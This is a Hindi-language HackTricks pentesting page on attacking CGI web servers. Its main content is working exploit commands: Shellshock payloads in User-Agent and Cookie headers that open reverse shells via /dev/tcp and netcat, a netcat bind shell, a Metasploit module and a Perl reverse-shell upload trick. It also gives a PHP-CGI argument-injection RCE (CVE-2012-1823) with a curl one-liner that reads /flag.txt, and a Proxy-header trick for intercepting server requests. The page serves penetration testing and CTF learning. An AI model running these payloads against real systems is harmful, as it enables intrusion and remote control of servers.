tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

जानकारी

CGI स्क्रिप्ट पर्ल स्क्रिप्ट हैं, इसलिए, यदि आपने एक सर्वर को समझौता किया है जो .cgi स्क्रिप्ट को निष्पादित कर सकता है, तो आप पर्ल रिवर्स शेल (/usr/share/webshells/perl/perl-reverse-shell.pl) अपलोड कर सकते हैं, एक्सटेंशन को .pl से .cgi में बदल सकते हैं, निष्पादन अनुमतियाँ दे सकते हैं (chmod +x) और वेब ब्राउज़र से रिवर्स शेल एक्सेस कर सकते हैं ताकि इसे निष्पादित किया जा सके। CGI कमजोरियों के लिए परीक्षण करने के लिए nikto -C all (और सभी प्लगइन्स) का उपयोग करने की सिफारिश की जाती है।

शेलशॉक

शेलशॉक एक कमजोरी है जो यूनिक्स-आधारित ऑपरेटिंग सिस्टम में व्यापक रूप से उपयोग किए जाने वाले Bash कमांड-लाइन शेल को प्रभावित करती है। यह Bash की उन क्षमताओं को लक्षित करती है जो एप्लिकेशनों द्वारा भेजे गए कमांड को चलाने की होती हैं। यह कमजोरी पर्यावरण चर के हेरफेर में निहित है, जो गतिशील नामित मान होते हैं जो यह प्रभावित करते हैं कि कंप्यूटर पर प्रक्रियाएँ कैसे चलती हैं। हमलावर इसको पर्यावरण चर में दुष्ट कोड संलग्न करके शोषण कर सकते हैं, जो चर प्राप्त करने पर निष्पादित होता है। इससे हमलावरों को संभावित रूप से सिस्टम को समझौता करने की अनुमति मिलती है।

इस कमजोरी का शोषण करते समय पृष्ठ एक त्रुटि फेंक सकता है

आप इस कमजोरी को यह देखकर पता लगा सकते हैं कि यह एक पुरानी अपाचे संस्करण और cgi_mod (cgi फ़ोल्डर के साथ) का उपयोग कर रहा है या nikto का उपयोग करके।

परीक्षण

अधिकांश परीक्षण कुछ को इको करने पर आधारित होते हैं और उम्मीद करते हैं कि वह स्ट्रिंग वेब प्रतिक्रिया में लौटाई जाएगी। यदि आपको लगता है कि एक पृष्ठ कमजोर हो सकता है, तो सभी cgi पृष्ठों की खोज करें और उनका परीक्षण करें।

Nmap

bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (प्रतिबिंबित, अंधा और आउट-ऑफ-बैंड)

bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

शोषण

bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM से वेब सर्वर अनुरोध)

CGI प्रत्येक हेडर के लिए एक पर्यावरण चर बनाता है जो http अनुरोध में होता है। उदाहरण के लिए: "host:web.com" को "HTTP_HOST"="web.com" के रूप में बनाया जाता है।

चूंकि HTTP_PROXY चर का उपयोग वेब सर्वर द्वारा किया जा सकता है। एक हेडर भेजने का प्रयास करें जिसमें: "Proxy: <IP_attacker>:<PORT>" हो और यदि सर्वर सत्र के दौरान कोई अनुरोध करता है। आप सर्वर द्वारा किए गए प्रत्येक अनुरोध को कैप्चर करने में सक्षम होंगे।

पुराना PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

बुनियादी रूप से यदि cgi सक्रिय है और php "पुराना" (<5.3.12 / < 5.4.2) है तो आप कोड निष्पादित कर सकते हैं। इस भेद्यता का लाभ उठाने के लिए आपको वेब सर्वर के कुछ PHP फ़ाइलों तक पहुंच प्राप्त करनी होगी बिना पैरामीटर भेजे (विशेष रूप से "=" वर्ण भेजे बिना)। फिर, इस भेद्यता का परीक्षण करने के लिए, आप उदाहरण के लिए /index.php?-s तक पहुंच सकते हैं (ध्यान दें -s) और अनुप्रयोग का स्रोत कोड प्रतिक्रिया में दिखाई देगा

फिर, RCE प्राप्त करने के लिए आप यह विशेष क्वेरी भेज सकते हैं: /?-d allow_url_include=1 -d auto_prepend_file=php://input और PHP कोड जो अनुरोध के शरीर में निष्पादित किया जाना है। उदाहरण:**

bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

कमजोरी और संभावित शोषणों के बारे में अधिक जानकारी: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF लेखन उदाहरण.

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें